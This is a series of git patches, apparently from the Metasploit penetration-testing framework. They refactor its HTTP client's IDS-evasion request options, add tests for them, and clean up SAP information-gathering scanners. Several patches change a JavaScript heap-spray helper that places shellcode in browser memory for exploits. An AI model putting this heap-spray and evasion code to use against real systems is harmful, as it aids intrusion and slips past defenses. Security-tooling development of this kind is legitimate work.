set_encode_uri(str) a = str.dup - config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, config['uri_encode_mode']) + opts['uri_encode_count'].times { + a = Rex::Text.uri_encode(a, opts['uri_encode_mode']) } return a end def set_method - ret = method.dup + ret = opts['method'].dup - if (config['method_random_valid']) + if (opts['method_random_valid']) ret = ['GET', 'POST', 'HEAD'][rand(3)] end - if (config['method_random_invalid']) + if (opts['method_random_invalid']) ret = Rex::Text.rand_text_alpha(rand(20)+1) end - if (config['method_random_case']) + if (opts['method_random_case']) ret = Rex::Text.to_rand_case(ret) end @@ -291,11 +268,11 @@ class ClientRequest end def set_method_uri_spacer - len = config['pad_method_uri_count'].to_i + len = opts['pad_method_uri_count'].to_i set = " " buf = "" - case config['pad_method_uri_type'] + case opts['pad_method_uri_type'] when 'tab' set = "\t" when 'apache' @@ -315,11 +292,11 @@ class ClientRequest def set_uri_prepend prefix = "" - if (config['uri_fake_params_start']) + if (opts['uri_fake_params_start']) prefix << '/%3fa=b/../' end - if (config['uri_fake_end']) + if (opts['uri_fake_end']) prefix << '/%20HTTP/1.0/../../' end @@ -331,7 +308,7 @@ class ClientRequest # TODO: # * Encode path information def set_path_info - path ? path : '' + opts['path_info'] ? opts['path_info'] : '' end # @@ -347,11 +324,11 @@ class ClientRequest # Return the spacing between the uri and the version # def set_uri_version_spacer - len = config['pad_uri_version_count'].to_i + len = opts['pad_uri_version_count'].to_i set = " " buf = "" - case config['pad_uri_version_type'] + case opts['pad_uri_version_type'] when 'tab' set = "\t" when 'apache' @@ -369,17 +346,17 @@ class ClientRequest # Return the HTTP version string # def set_version - ret = protocol + "/" + version + ret = opts['proto'] + "/" + opts['version'] - if (config['version_random_valid']) - ret = protocol + "/" + ['1.0', '1.1'][rand(2)] + if (opts['version_random_valid']) + ret = opts['proto'] + "/" + ['1.0', '1.1'][rand(2)] end - if (config['version_random_invalid']) + if (opts['version_random_invalid']) ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (config['version_random_case']) + if (opts['version_random_case']) ret = Rex::Text.to_rand_case(ret) end @@ -390,7 +367,7 @@ class ClientRequest # Return a formatted header string # def set_formatted_header(var, val) - if (self.config['header_folding']) + if (self.opts['header_folding']) "#{var}:\r\n\t#{val}\r\n" else "#{var}: #{val}\r\n" @@ -401,38 +378,38 @@ class ClientRequest # Return the HTTP agent header # def set_agent_header - user_agent ? set_formatted_header("User-Agent", user_agent) : "" + opts['agent'] ? set_formatted_header("User-Agent", opts['agent']) : "" end def set_auth_header - authorization ? set_formatted_header("Authorization", authorization) : "" + opts['authorization'] ? set_formatted_header("Authorization", opts['authorization']) : "" end # # Return the HTTP cookie header # def set_cookie_header - cookie ? set_formatted_header("Cookie", cookie) : "" + opts['cookie'] ? set_formatted_header("Cookie", opts['cookie']) : "" end # # Return the HTTP connection header # def set_connection_header - connection ? set_formatted_header("Connection", connection) : "" + opts['connection'] ? set_formatted_header("Connection", opts['connection']) : "" end # # Return the content type header # def set_content_type_header - set_formatted_header("Content-Type", content_type) + opts['ctype'] ? set_formatted_header("Content-Type", opts['ctype']) : "" end # # Return the content length header def set_content_len_header(clen) - return "" if config['chunked_size'] > 0 + return "" if opts['chunked_size'] > 0 set_formatted_header("Content-Length", clen) end @@ -440,8 +417,8 @@ class ClientRequest # Return the HTTP Host header # def set_host_header - return "" if config['uri_full_url'] - host ||= config['vhost'] + return "" if opts['uri_full_url'] + host ||= opts['vhost'] # IPv6 addresses must be placed in brackets if Rex::Socket.is_ipv6?(host) @@ -449,8 +426,8 @@ class ClientRequest end # The port should be appended if non-standard - if not [80,443].include?(port) - host = host + ":#{port}" + if not [80,443].include?(opts['port']) + host = host + ":#{opts['port']}" end set_formatted_header("Host", host) @@ -462,8 +439,8 @@ class ClientRequest def set_extra_headers buf = '' - if (config['pad_fake_headers']) - 1.upto(config['pad_fake_headers_count'].to_i) do |i| + if (opts['pad_fake_headers']) + 1.upto(opts['pad_fake_headers_count'].to_i) do |i| buf << set_formatted_header( Rex::Text.rand_text_alphanumeric(rand(32)+1), Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -471,7 +448,7 @@ class ClientRequest end end - headers.each_pair do |var,val| + opts['headers'].each_pair do |var,val| buf << set_formatted_header(var, val) end @@ -479,7 +456,7 @@ class ClientRequest end def set_chunked_header - return "" if config['chunked_size'] == 0 + return "" if opts['chunked_size'] == 0 set_formatted_header('Transfer-Encoding', 'chunked') end @@ -487,11 +464,11 @@ class ClientRequest # Return the HTTP seperator and body string # def set_body(bdata) - return "\r\n" + bdata if config['chunked_size'] == 0 + return "\r\n" + bdata if opts['chunked_size'] == 0 str = bdata.dup chunked = '' while str.size > 0 - chunk = str.slice!(0,rand(config['chunked_size']) + 1) + chunk = str.slice!(0,rand(opts['chunked_size']) + 1) chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" end "\r\n" + chunked + "0\r\n\r\n" diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 154a1a9485..29db9873bf 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -4,7 +4,7 @@ require 'rex/proto/http/client_request' shared_context "with 'uri_dir_self_reference'" do before(:all) do - client_request.config['uri_dir_self_reference'] = true + client_request.opts['uri_dir_self_reference'] = true end it "should return the unmodified uri" do @@ -14,9 +14,9 @@ end shared_context "with no evasions" do before(:all) do - client_request.config['uri_dir_self_reference'] = false - client_request.config['uri_fake_params_start'] = false - client_request.config['uri_full_url'] = false + client_request.opts['uri_dir_self_reference'] = false + client_request.opts['uri_fake_params_start'] = false + client_request.opts['uri_full_url'] = false end it "should return the unmodified uri" do @@ -27,11 +27,11 @@ end shared_context "with 'uri_full_url'" do before(:all) do - client_request.config['uri_full_url'] = true + client_request.opts['uri_full_url'] = true end before(:each) do - client_request.config['vhost'] = host + client_request.opts['vhost'] = host end context "with ipv4 host" do @@ -43,7 +43,7 @@ shared_context "with 'uri_full_url'" do context "with ipv6 host" do let(:host) { '2001:DB8::1' } #before(:each) do - # client_request.config['vhost'] = "[#{host}]" + # client_request.opts['vhost'] = "[#{host}]" #end it_behaves_like "uri_full_url" @@ -83,9 +83,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with reasonable default options", default_options.merge({ 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", - # Yes, vhost is in the config. There is no godly reason why this - # should be so. - 'client_config' => { 'vhost' => 'www.example.com', }, + 'vhost' => 'www.example.com', }), { :set_cgi => { :result => "/" }, @@ -106,7 +104,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with header folding", default_options.merge({ 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", - 'client_config' => { 'header_folding' => true, } + 'header_folding' => true, }), { :set_uri => { :result => "/" }, @@ -124,7 +122,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with ipv6 host", default_options.merge({ - 'client_config' => { 'vhost' => "2001:DB8::1" }, + 'vhost' => "2001:DB8::1", }), { :set_host_header => { :result => "Host: [2001:DB8::1]\r\n" }, @@ -134,7 +132,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with ipv6 host and non-default port", default_options.merge({ 'port' => 1234, - 'client_config' => { 'vhost' => "2001:DB8::1" }, + 'vhost' => "2001:DB8::1", }), { :set_host_header => { :result => "Host: [2001:DB8::1]:1234\r\n" }, @@ -162,11 +160,9 @@ describe Rex::Proto::Http::ClientRequest do context "with GET paramaters" do subject(:client_request) { options_with_params = default_options.merge({ - 'client_config' => { - 'uri_encode_mode' => encode_mode, - 'encode_params' => encode_params, - 'encode' => false, - }, + 'uri_encode_mode' => encode_mode, + 'encode_params' => encode_params, + 'encode' => false, 'vars_get' => vars_get, }) Rex::Proto::Http::ClientRequest.new(options_with_params) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 8dc10b8c46..11177b90fe 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -56,8 +56,6 @@ describe Rex::Proto::Http::Client do req = cli.request_cgi req.should be_a_kind_of Rex::Proto::Http::ClientRequest - req.port.should == 80 - req.ssl.should be_false end it "should attempt to connect to a server" do From b0745b090ac4698d54097f383f5ea7486c6f2ba8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 17:54:31 -0600 Subject: [PATCH 380/448] Msf HTTP uses this directly, can't axe it --- lib/rex/proto/http/client.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index b10af20c3c..be7b6cb436 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -23,6 +23,7 @@ module Http ### class Client + DefaultUserAgent = ClientRequest::DefaultUserAgent # # Creates a new client instance From 16bba7a6aca24d1dd28cddab66595d81d753f98d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 18:06:55 -0600 Subject: [PATCH 381/448] Add test for pad_get_params --- .../lib/rex/proto/http/client_request_spec.rb | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 29db9873bf..26729dfa52 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -178,6 +178,22 @@ describe Rex::Proto::Http::ClientRequest do } end + context "with 'pad_get_params'" do + let(:encode_params) { true } + it "should ..." do + old = client_request.opts['pad_get_params'] + client_request.opts['pad_get_params'] = true + + client_request.opts['pad_get_params_count'] = 0 + client_request.to_s.split("&").length.should == vars_get.length + + client_request.opts['pad_get_params_count'] = 10 + client_request.to_s.split("&").length.should == vars_get.length + 10 + + client_request.opts['pad_get_params'] = old + end + end + context "without 'encode_params'" do let(:encode_params) { false } it "should contain the unaltered params" do @@ -190,7 +206,7 @@ describe Rex::Proto::Http::ClientRequest do context "with 'encode_params'" do let(:encode_params) { true } - context "with 'uri_encode_mode' = default (hex-normal)" do + context "and 'uri_encode_mode' = default (hex-normal)" do it "should encode special chars" do str = client_request.to_s str.should include("foo%5b%5d=bar") @@ -199,7 +215,7 @@ describe Rex::Proto::Http::ClientRequest do end end - context "with 'uri_encode_mode' = hex-all" do + context "and 'uri_encode_mode' = hex-all" do let(:encode_mode) { 'hex-all' } it "should encode all chars" do str = client_request.to_s From 425c245771f68e69b5b90ac5e6b984d10f9bfc58 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 19:13:05 -0600 Subject: [PATCH 382/448] Axe set_cgi in favor of set_uri They were identical except for a couple of extra bugs in set_cgi. Also changes ```split("/")``` to ```split("/", -1)```, which behaves correctly when the input has a seperator at the beginning or end. --- lib/rex/proto/http/client_request.rb | 38 ++---------------- .../lib/rex/proto/http/client_request_spec.rb | 40 ++++++++++++------- 2 files changed, 30 insertions(+), 48 deletions(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 31933fe5f7..62e1ede0e8 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -32,6 +32,7 @@ class ClientRequest 'vars_get' => {}, 'vars_post' => {}, 'version' => '1.1', + 'vhost' => nil, # # Evasion options @@ -96,7 +97,7 @@ class ClientRequest pstr = opts['data'] ? opts['data'].dup : "" if opts['cgi'] - uri_str= set_cgi + uri_str = set_uri if (opts['pad_get_params']) 1.upto(opts['pad_get_params_count'].to_i) do |i| @@ -132,10 +133,10 @@ class ClientRequest pstr << (opts['encode_params'] ? set_encode_uri(val) : val) end else - uri_str = set_uri if opts['encode'] qstr = set_encode_uri(qstr) end + uri_str = set_uri end req = '' @@ -188,7 +189,7 @@ class ClientRequest if (opts['uri_dir_fake_relative']) buf = "" - uri_str.split('/').each do |part| + uri_str.split('/',-1).each do |part| cnt = rand(8)+2 1.upto(cnt) { |idx| buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -210,37 +211,6 @@ class ClientRequest end end - def set_cgi - uri_str = opts['uri'].dup - if (opts['uri_dir_self_reference']) - uri_str.gsub!('/', '/./') - end - - if (opts['uri_dir_fake_relative']) - buf = "" - uri_str.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri_str = buf - end - - url = uri_str - - if (opts['uri_full_url']) - url = opts['ssl'] ? "https" : "http" - url << opts['vhost'] - url << (opts['port'] == 80) ? "" : ":#{opts['port']}" - url << uri_str - end - - url - end - def set_encode_uri(str) a = str.dup opts['uri_encode_count'].times { diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 26729dfa52..426721cb6c 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -2,15 +2,6 @@ require 'spec_helper' require 'rex/proto/http/client_request' -shared_context "with 'uri_dir_self_reference'" do - before(:all) do - client_request.opts['uri_dir_self_reference'] = true - end - - it "should return the unmodified uri" do - client_request.send(:set_uri).should == "/./" - end -end shared_context "with no evasions" do before(:all) do @@ -24,6 +15,30 @@ shared_context "with no evasions" do end end + +shared_context "with 'uri_dir_self_reference'" do + before(:all) do + client_request.opts['uri_dir_self_reference'] = true + end + + it "should have a self reference" do + client_request.send(:set_uri).should == "/./" + end +end + + +shared_context "with 'uri_dir_fake_relative'" do + before(:all) do + client_request.opts['uri_dir_fake_relative'] = true + end + + it "should contain sequences of '../'" do + client_request.send(:set_uri).should include("../") + end + +end + + shared_context "with 'uri_full_url'" do before(:all) do @@ -42,9 +57,6 @@ shared_context "with 'uri_full_url'" do context "with ipv6 host" do let(:host) { '2001:DB8::1' } - #before(:each) do - # client_request.opts['vhost'] = "[#{host}]" - #end it_behaves_like "uri_full_url" end @@ -59,7 +71,7 @@ end shared_examples "uri_full_url" do - it "should have the host in the URI" do + it "#set_uri should have the host in the URI" do client_request.send(:set_uri).should start_with("http://#{host}/") end @@ -86,7 +98,6 @@ describe Rex::Proto::Http::ClientRequest do 'vhost' => 'www.example.com', }), { - :set_cgi => { :result => "/" }, :set_uri => { :result => "/" }, :set_method => { :result => "GET" }, :set_version => { :result => "HTTP/1.1\r\n" }, @@ -238,6 +249,7 @@ describe Rex::Proto::Http::ClientRequest do describe "#set_uri" do it_behaves_like "with 'uri_full_url'" it_behaves_like "with 'uri_dir_self_reference'" + it_behaves_like "with 'uri_dir_fake_relative'" it_behaves_like "with no evasions" end From 9f35452d736a723d6fdcf398c0f9993fa2f91ff8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 10:35:40 -0600 Subject: [PATCH 383/448] Beef up the default values for precise alloc size and consistency --- lib/msf/core/exploit/http/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 6b5c143a9f..cdde2972f5 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -829,8 +829,8 @@ protected if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (objId == undefined) { throw "Missing argument: objId"; } if (offset == undefined) { offset = 0x104; } - if (heapBlockSize == undefined) { heapBlockSize = 0x40000; } - if (maxAllocs == undefined) { maxAllocs = 0x250; } + if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } + if (maxAllocs == undefined) { maxAllocs = 0x350; } if (browser == undefined) { browser = 'generic'; } if (offset > 0x800) { throw "Bad alignment"; } From 86d78939ad7450488800b0313283c8cbd4101f68 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:01:15 -0600 Subject: [PATCH 384/448] Make objId optional --- lib/msf/core/exploit/http/server.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index cdde2972f5..f341663e9a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -799,9 +799,9 @@ protected # # The "sprayHeap" JavaScript function supports the following arguments: # shellcode => The shellcode to spray in JavaScript. - # objId => The ID for a
HTML tag. # browser => The type of browser to target for precise block size, such as: # 'ie8', 'ie9', 'ie10', and 'generic'. + # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 # heapBlockSize => Optional. Allocation size, default: 0x40000 # maxAllocs => Optional. Number of allocation calls, default: 0x250 @@ -817,7 +817,9 @@ protected # # def js_property_spray - js = %Q|function sprayHeap( oArg ) { + js = %Q| + var div_container; + function sprayHeap( oArg ) { shellcode = oArg.shellcode; browser = oArg.browser; @@ -827,7 +829,6 @@ protected objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (objId == undefined) { throw "Missing argument: objId"; } if (offset == undefined) { offset = 0x104; } if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } if (maxAllocs == undefined) { maxAllocs = 0x350; } @@ -835,7 +836,12 @@ protected if (offset > 0x800) { throw "Bad alignment"; } - var div_container = document.getElementById(objId); + div_container = document.getElementById(objId); + + if (div_container == null) { + div_container = document.createElement("div"); + } + div_container.style.cssText = "display:none"; var data; junk = unescape("%u2020%u2020"); From 2c013cada8959a79ad27f3096e7178502f300b5a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:05:18 -0600 Subject: [PATCH 385/448] Update documentation for default values --- lib/msf/core/exploit/http/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index f341663e9a..444173c731 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -803,8 +803,8 @@ protected # 'ie8', 'ie9', 'ie10', and 'generic'. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 - # heapBlockSize => Optional. Allocation size, default: 0x40000 - # maxAllocs => Optional. Number of allocation calls, default: 0x250 + # heapBlockSize => Optional. Allocation size, default: 0x80000 + # maxAllocs => Optional. Number of allocation calls, default: 0x350 # # Example of using the 'sprayHeap' function: #
From 722e07702920dc55d8759b635e6c9608707c7687 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:09:52 -0600 Subject: [PATCH 386/448] Update generic target --- lib/msf/core/exploit/http/server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 444173c731..b69acde1f3 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -873,7 +873,7 @@ protected break; case 'generic': - obj.title = data.substring(0, heapBlockSize-0x58); + obj.title = data.substring(0, (heapBlockSize-2)/2); div_container.appendChild(obj); break; From 8cb5da0794415ec3a59578405f4296135bf94c57 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:21:23 -0600 Subject: [PATCH 387/448] One size rules them all. --- lib/msf/core/exploit/http/server.rb | 31 ++--------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index b69acde1f3..bd0e6f0942 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -799,8 +799,6 @@ protected # # The "sprayHeap" JavaScript function supports the following arguments: # shellcode => The shellcode to spray in JavaScript. - # browser => The type of browser to target for precise block size, such as: - # 'ie8', 'ie9', 'ie10', and 'generic'. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 # heapBlockSize => Optional. Allocation size, default: 0x80000 @@ -822,7 +820,6 @@ protected function sprayHeap( oArg ) { shellcode = oArg.shellcode; - browser = oArg.browser; offset = oArg.offset; heapBlockSize = oArg.heapBlockSize; maxAllocs = oArg.maxAllocs; @@ -832,7 +829,6 @@ protected if (offset == undefined) { offset = 0x104; } if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } if (maxAllocs == undefined) { maxAllocs = 0x350; } - if (browser == undefined) { browser = 'generic'; } if (offset > 0x800) { throw "Bad alignment"; } @@ -855,31 +851,8 @@ protected for (var i = 0; i < maxAllocs; i++) { var obj = document.createElement("button"); - switch (browser) - { - case 'ie8': - obj.title = data.substring(0, (heapBlockSize-6)/2); - div_container.appendChild(obj); - break; - - case 'ie9': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - case 'ie10': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - case 'generic': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - default: - throw "Invalid argument"; - } + obj.title = data.substring(0, (heapBlockSize-2)/2); + div_container.appendChild(obj); } } | From 18c0bb0ac8a6d7469e1b3a918fb78a59e7a980b9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:34:48 -0600 Subject: [PATCH 388/448] Updates description again --- lib/msf/core/exploit/http/server.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index bd0e6f0942..8cb75c490a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -805,13 +805,11 @@ protected # maxAllocs => Optional. Number of allocation calls, default: 0x350 # # Example of using the 'sprayHeap' function: - #
# # def js_property_spray From 0dcfb51071a2d63f9eb9aada22e30310ce632abf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 28 Feb 2013 18:46:18 +0100 Subject: [PATCH 389/448] cleanup for sap_soap_rfc_system_info --- .../scanner/sap/sap_soap_rfc_system_info.rb | 28 +++++++++---------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 1ec8aee729..21100734ee 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -64,13 +64,13 @@ class Metasploit4 < Msf::Auxiliary def report_note_sap(type, data, value) # create note report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => 'sap', - :type => type, - :data => data + value - ) if data + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data # update saptbl for output @saptbl << [ data, value ] end @@ -122,14 +122,12 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Key", - "Value" - ]) + 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ "Key", "Value" ] + ) response = res.body From 8f58c7b25e1b3aec8b8e21cb14eb39c4c16aee8c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 28 Feb 2013 18:47:48 +0100 Subject: [PATCH 390/448] cleanup for sap_icf_public_info --- ..._system_info.rb => sap_icf_public_info.rb} | 52 +++++++++---------- 1 file changed, 24 insertions(+), 28 deletions(-) rename modules/auxiliary/scanner/sap/{sap_icf_rfc_system_info.rb => sap_icf_public_info.rb} (82%) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb similarity index 82% rename from modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb rename to modules/auxiliary/scanner/sap/sap_icf_public_info.rb index ad808d5c43..2095bef790 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -26,26 +26,24 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'SAP /sap/public/info RFC_SYSTEM_INFO Function Sensitive Information Gathering', + 'Name' => 'SAP ICF /sap/public/info Service Sensitive Information Gathering', 'Description' => %q{ - This module uses the RFC_SYSTEM_INFO function within SAP Internet Communication + This module uses the /sap/public/info service within SAP Internet Communication Framework (ICF) to obtain the operating system version, SAP version, IP address - and other information through /sap/public/info - + and other information. }, 'Author' => [ - # original sap_soap_rfc_system_info module - 'Agnivesh Sathasivam', - 'nmonkee', - # repurposed for /sap/public/info (non-RFC) - 'ChrisJohnRiley' + 'Agnivesh Sathasivam', # original sap_soap_rfc_system_info module + 'nmonkee', # original sap_soap_rfc_system_info module + 'ChrisJohnRiley' # repurposed for /sap/public/info (non-RFC) ], 'License' => MSF_LICENSE ) register_options( [ - OptString.new('PATH', [true, 'Path to SAP Application Server', '/']) + Opt::RPORT(8000), + OptString.new('TARGETURI', [true, 'Path to SAP Application Server', '/']) ], self.class) end @@ -59,23 +57,23 @@ class Metasploit4 < Msf::Auxiliary def report_note_sap(type, data, value) # create note report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => 'sap', - :type => type, - :data => data + value - ) if data + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data # update saptbl for output @saptbl << [ data, value ] end def run_host(ip) - print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") - uri = normalize_uri(datastore['PATH'] + '/sap/public/info') + print_status("[SAP] #{ip}:#{rport} - Sending request to SAP Application Server") + uri = normalize_uri(target_uri.path, '/sap/public/info') begin - res = send_request_raw({ 'uri' => uri }, 20) + res = send_request_cgi({ 'uri' => uri }) if res and res.code != 200 print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") return @@ -93,14 +91,12 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Key", - "Value" - ]) + 'Header' => "[SAP] ICF SAP PUBLIC INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => [ "Key", "Value" ] + ) response = res.body From 5a79fcd11e516c17abaa4ef9a7fce956b31d7518 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 28 Feb 2013 13:47:30 -0600 Subject: [PATCH 391/448] Ensure we build only one Authorization header Also fixes an issue where Host headers were generated with nil by preferring the vhost from Client instead of the default nil from ClientRequest. --- lib/rex/proto/http/client.rb | 58 +++++++------------ lib/rex/proto/http/client_request.rb | 18 +++++- .../lib/rex/proto/http/client_request_spec.rb | 4 +- spec/lib/rex/proto/http/client_spec.rb | 49 ++++++++++++++++ 4 files changed, 89 insertions(+), 40 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index be7b6cb436..38b5c3ac2b 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -38,11 +38,13 @@ class Client self.username = username self.password = password - self.config = { + # Take ClientRequest's defaults, but override with our own + self.config = Http::ClientRequest::DefaultConfig.merge({ 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, - }.merge(Http::ClientRequest::DefaultConfig) + }) + # XXX: This info should all be controlled by ClientRequest self.config_types = { 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-random', 'u-all'], 'uri_encode_count' => 'integer', @@ -104,7 +106,6 @@ class Client self.config[var]=val end - end # @@ -145,12 +146,6 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' - opts['client_config'] = self.config - - if opts['basic_auth'] and not opts['authorization'] - opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) - end - req = ClientRequest.new(opts) end @@ -167,28 +162,26 @@ class Client # # @return [ClientRequest] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} + opts['agent'] ||= config['agent'] + opts['basic_auth'] ||= config['basic_auth'] || '' + opts['cookie'] ||= config['cookie'] + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['data'] ||= '' + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] ||= config['raw_headers'] || '' + opts['uri'] ||= '/' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + opts['version'] ||= config['version'] || '1.1' + opts['vhost'] ||= config['vhost'] opts['ssl'] = self.ssl opts['cgi'] = true opts['port'] = self.port - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - 